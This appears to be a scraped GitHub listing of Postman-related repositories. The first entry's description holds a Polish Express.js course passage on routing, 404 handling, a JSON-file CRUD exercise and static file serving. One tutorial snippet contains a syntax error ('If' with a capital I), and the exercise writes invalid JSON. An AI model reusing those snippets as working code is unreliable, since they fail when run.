dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
moinuddin14/oData-Batch-Postman-Demo
collection, example, find, intern, postman collection, process, research, resource, resources, sample, samples, search, source, spec 		I have researched a lot on the internet and couldn't find a lot of resources on oData especially for Batch processing example. So, adding the postman collection with some sample oData batch payload samples 0 stars 0 watchers 0 forks
motivast/motimize-postman
host, hosted, image, images, motimize, service, source 		Collection of Postman requests to work with Motimize. Motimize is an open source self-hosted REST web service to optimize and compress images. 0 stars 0 watchers 0 forks
neomarmedina/prueba_meta
api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables 		Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env 0 stars 0 watchers 0 forks
omabolaji/Resourcefull-api
rating, source 		Book rating API using postman 0 stars 0 watchers 0 forks
parkerleblanc01/rails_template
auth, rails, resource, sample, source, spec, swagger, template, test, tests, token 		Rails 6 API template with token auth, swagger, rspec tests, postman and a sample resource. 0 stars 0 watchers 0 forks
pozil/postman-extractor
actor, export, extract, extractor, file, files, resource, resources, source, util, utility, version, versioning 		Postman Extractor (pmx) is a utility that extracts/compacts resources from Postman export files for easier versioning. 0 stars 0 watchers 0 forks
rubenRP/covid-map
covid, data, maps, resource, resources, source, updated 		App creted with GatsbyJS and Leaflet maps to show COVID19 updated data using Postman COVID19 resources. 0 stars 0 watchers 0 forks
sanoaoa/SamplePostmanScript
opens, sample, source 		This is for demo purpose with sample opensource code 0 stars 0 watchers 0 forks
TomFaulkner/Mailman
experiment, program, source 		Open source Postman-like program, an experiment at best. 0 stars 0 watchers 0 forks
venkatgunneri/Messenger-App
client, collection, comments, file, files, message, messages, notation, resource, resources, source 		Messaging App, Creating Profiles, can share messages with sub resources as comments and likes. Code written in using REST API annotations and getting response in JSON. Postman API as a client. worked on resource URI's and collection URI's. 0 stars 0 watchers 0 forks

tools (51 listings) (Back to Top)

flftfqwxf/mockserver
data, mock, mocks, mockserver, server, tool, tools 		Mockserver is a mock data tools and switch between mock data and real data,【一个用于前后分离时模拟数据的web系统，并可在直实数据与实际数据中自由切换】 317 stars 317 watchers 97 forks
owainlewis/relay
patch, relay, struct, structure, tool, tools 		Relay lets you write HTTP requests as easy to read, structured YAML and dispatch them easily using a CLI. Similar to tools like Postman 24 stars 24 watchers 0 forks
JamesMessinger/super-powered-api-testing
powered, powerful, test, testing, tool, tools 		Comparisons of powerful API testing tools 0 stars 0 watchers 19 forks
jnewmano/grpc-json-proxy
grpc, json, newman, proxy, tool, tools 		gRPC Proxy for Postman like tools 0 stars 0 watchers 17 forks
gaohuia/HttpUnit
http, light, support, supported, tool, tools 		Send http requests with sublime rather than tools like PostMan. Syntax hilight, Comment supported 3 stars 3 watchers 0 forks
lqs429521992/postman-jmeter
convert, jmeter, python, tool, tools 		a python tools which can convert postman to jmeter 2 stars 2 watchers 1 forks
DrSnowbird/rest-dev-vnc-docker
common, docker, rest, tool, tools 		Restful / SOAP API Development with common tools in VNC/noVNC-based Docker 1 stars 1 watchers 0 forks
zengxiaoqi/sooket-tools
boot, free, http, spring, springboot, tool, tools 		socket-tool 类似于soket-tool和postman的tcp和http连接工具，前端基于vue，后端基于springboot， 在线体验地址： http://mastertools.free.idcfengye.com 1 stars 1 watchers 0 forks
AndriiStepura/letslearnapitesting
apitest, learn, presentation, test, testing, tool, tools 		Repo for API testing presentation, based with postman tools 0 stars 0 watchers 2 forks
nuxeo-sandbox/nuxeo-swagger
convert, description, form, format, import, importable, nuxeo, portable, sandbox, script, swagger, tool, tools, type, types 		Tools to convert the Nuxeo Swagger 1.2 descriptions to an importable format for Postman and other types of tools. 1 stars 1 watchers 0 forks
osu-mist/postman-tools
tool, tools 		Settings and code to make the most of Postman 1 stars 1 watchers 0 forks
rishav394/Email-sender-no-IMAP
client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools 		Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. 1 stars 1 watchers 0 forks
commercetools/commercetools-postman-collection
collection, commerce, commercetools, example, examples, setup, tool, tools 		Collection of commercetools API examples setup on top of Postman 0 stars 0 watchers 1 forks
Ayushverma8/LoadTesting.withpostmanis.fun
collection, convert, developer, developers, test, testing, tool, tools 		Helping developers to convert Postman collection to Load testing tools. 0 stars 0 watchers 1 forks
cpettools/postman-oraclebmc-apis-js
oracle, tool, tools 		JavaScript-based mechanism for making Oracle Bare Metal Cloud Services API requests from Postman 0 stars 0 watchers 1 forks
szmc/rest-api-testing-demo
curl, rest, rest api, test, testing, tool, tools 		Repository for demo of rest api testing using different tools(Postman, Jmeter, SoapUI, curl, Rest-Assured) 0 stars 0 watchers 1 forks
ChrisLiu95/NodeJS-Express-MongoDb-API
express, node, tool, tools 		Simple API built by nodeJS, expressJS and MongoDB, with postman and Robo3T tools. 0 stars 0 watchers 1 forks
DKE-Data/agrirouter-postman-tools
route, router, tool, tools 		Tools to work with the REST Interface of the agrirouter. 0 stars 0 watchers 1 forks
jannemann/postman-ci
favorite, integrate, newman, node, tool, tools 		node.js cli tools to integrate postman and newman with your favorite CI 0 stars 0 watchers 1 forks
abrhambas01/laravel-jibe
laravel, tool, tools 		Test your api's directly in laravel without using postman or any tools 0 stars 0 watchers 0 forks
denwood/linux_desktop_tools
compose, desktop, docker, dump, intallation, python, tool, tools 		Basic tools intallation by Ansible 2.7 for Linux Desktop : VisualCode + Extension pack, python, pychar, git, gitgrakcen, zsh, terminator, tcpdump, subl3txt, postman, docker , docker-compose, ... 0 stars 0 watchers 0 forks
romeobleonor/BasicAPIWithNodeExpress
form, test, testing, tool, tools 		Basic API with Node, Express and MongoDB - Performed CRUD and Learned API testing tools - (PostMan) - Introuduction to MongoDB and Mongoose and ROBO 3T 0 stars 0 watchers 0 forks
TaukSnarkyAgrud/postoffice
automat, automation, office, tool, tools 		handmade tools for optimizing postman automation 0 stars 0 watchers 0 forks
dedeng/GET-CiscoDevNet-dnac-samples-aradford-master-tools-postman-DNAC-Sandbox.postman_environment.json-HT
description, environment, json, sample, samples, script, tool, tools 		No description available. 0 stars 0 watchers 0 forks
paasdtools/postman-oraclebmc-apis-js
oracle, tool, tools 		JavaScript-based mechanism for making Oracle Bare Metal Cloud Services API requests from Postman 0 stars 0 watchers 0 forks
toolsqacn/PostmanFullStackChat
description, script, tool, tools 		No description available. 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
Ayushverma8/Alexa.WithPostmanis.fun
blog, blogs, form, format, information, informational, logs, tool, tools 		Contains informational blogs and FOSS tools build with Postman Collections and Alexa 0 stars 0 watchers 0 forks
byekobe/redisproject
desktop, middleware, redis, tool, tools 		For beginners,this project based on SpringBoot,which redis cache middleware been deployed on linux and postman,redis desktop some tools also been used. 0 stars 0 watchers 0 forks
chucknorris-io/chuck-infra-tools
collection, postman collection, tool, tools, util, utils 		Arbitrary collection of some dev utils (postman collection etc.) 0 stars 0 watchers 0 forks
cpettools/postman-amazon-apis-js
amazon, tool, tools 		JavaScript-based mechanism for making AWS REST API requests from Postman 0 stars 0 watchers 0 forks
DanielMcAssey/SharedUploader-Postman
file, files, module, tool, tools 		Part of the SharedUploader suite of tools: Uploads files to the SharedUploader Server module 0 stars 0 watchers 0 forks
DanielMcAssey/SharedUploader-Watcher
file, files, function, functional, module, tool, tools, upload 		Part of the SharedUploader suite of tools: Easy tool to upload files to the SharedUploader Server module. REQUIRES SharedUploader-Postman. [DEPRECATED: ShareX provides more functionality] 0 stars 0 watchers 0 forks
euhenriquemarques/WEBService-Java-springBoot
api blueprint, asyncapi, boot, java, json schema, mysql, oauth, openid, spring, spring boot, sql, tool, tools 		WEBService Rest, com java, spring boot, mysql, devtools, jpaRespoitory, e Postman 0 stars 0 watchers 0 forks
fe3dback/web-debug-tools
api blueprint, application, asyncapi, debug, form, format, information, json schema, logs, oauth, openid, route, routes, sql, symfony, tool, tools 		WIP! - GUI application, "Postman" + "symfony debug toolbar", allow to develop api with additional response information (sql, logs, routes, acl, etc..) 0 stars 0 watchers 0 forks
flaviostutz/postman-runner
environment, environments, integration, local, runner, running, script, scripts, test, tests, tool, tools 		Container with tools for running Postman scripts for integration tests on local or CI environments 0 stars 0 watchers 0 forks
FP-GmbH/fcm-oauth-generator
api blueprint, asyncapi, auth, bearer, client, generator, json schema, oauth, openid, sql, token, tool, tools 		FCM oAuth generator provides you with with a bearer token to sign on in postman or other client tools. 0 stars 0 watchers 0 forks
guillain/Postman-CLI-tools
python, tool, tools 		Postman python tools 0 stars 0 watchers 0 forks
iheartdaikaiju/postman_tools
automat, automating, newman, tool, tools 		Tools for automating with postman / newman 0 stars 0 watchers 0 forks
jadhavnikhil78/Android-Projects
android, multiple, projects, tool, tools 		This project contains multiple android projects developed using various tools and techniques like Java, Android Studios, Postman etc. 0 stars 0 watchers 0 forks
JaredStrandWSU/CougsInSpace-Website
component, components, party, site, tool, tools, website, wrapper, wrappers 		This website was built using components of HTML, CSS, JavaScript, and Python. Some third party tools and wrappers used include SQLAlchemy, Bootstrap, Flask, and Postman. 0 stars 0 watchers 0 forks
jinfanx/fx-dev-tools
client, function, functions, http, tool, tools 		simple http client, like postman, but only main functions 0 stars 0 watchers 0 forks
jmaribau/DemoHtCm
api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools 		Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. 0 stars 0 watchers 0 forks
Narbhakshi/Simple-Rest-Agent
enterprise, install, rest, restrict, tool, tools 		This is a Simple Rest Agent. Useful when we cannot install/use Postman-like tools due to enterprise restrictions 0 stars 0 watchers 0 forks
paasdtools/postman-amazon-apis-js
amazon, tool, tools 		JavaScript-based mechanism for making AWS REST API requests from Postman 0 stars 0 watchers 0 forks
rajasekhar15/https-github.com-commercetools-commercetools-postman-api-examples
commerce, commercetools, example, examples, github, http, https, tool, tools 		CommerceTools 0 stars 0 watchers 0 forks
rgooler/steam_to_openapi3
import, insomnia, openapi, output, tool, tools, webapi 		Converts steam's webapi output into openapi3 for easy importing into tools like postman and insomnia 0 stars 0 watchers 0 forks
toolsqacn/toolsqacn.github.io
github, tool, tools 		《Postman API 自动化测试与持续集成全栈攻略》在线电子书 0 stars 0 watchers 0 forks
yann-yvan/CodeHttp
android, communication, debug, define, light, server, struct, structure, tool, tools 		A light way to make communication between android and server using a predefine structure server response with a debug tools like postman 0 stars 0 watchers 0 forks
ysyesilyurt/spring-workbench
concept, spring, tool, tools, workbench 		Practice Repository for Spring's Core, Boot, MVC, Data, Security and Hateoas along with various concepts and tools 0 stars 0 watchers 0 forks
yuanzj/monitor-postman
monitor, tool, tools 		HTTP API monitor tools 0 stars 0 watchers 0 forks

operations (50 listings) (Back to Top)

jamesgeorge007/CRUD-App
form, operation, operations 		A basic web-app that performs all the 4 basic CRUD operations. 4 stars 4 watchers 0 forks
sanjaysaini2000/aspnet-core3-webapi
aspnet, demonstrate, named, operation, operations, webapi 		This is Web API named BookStoreAPI developed with asp.net core 3 using Entity Framework Core 3 and SQL Server as back-end to demonstrate simple out of the box CRUD operations. 2 stars 2 watchers 0 forks
mmsrgit/spring-security-db
